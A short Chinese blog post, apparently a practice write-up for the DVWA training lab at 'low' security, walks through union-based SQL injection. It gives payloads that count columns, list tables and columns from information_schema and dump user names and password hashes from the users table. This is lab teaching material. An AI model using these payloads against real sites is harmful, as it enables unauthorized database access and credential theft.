dvwa打靶low

发布时间 2023-04-12 09:16:01作者: 小高Y

使用 order by 查看一共有多少列

1' order by 2#

输入1' order by 3#

提示

可以知道,1和2两个位置都可以回显。

利用2位置,查看当前的数据库为dvwa

查数据库名

1' union select 1,database()#

查表名

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

查字段名

1' union select 1 , column_name from information_schema.columns where table_name = 'users'#

查用户密码

1' union select user,password from users#

"1"为id号范围1-5,只有五个用户

"SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#';";

单引号为了闭合原本sql语句中的单引号,加个#注释掉后面的单引号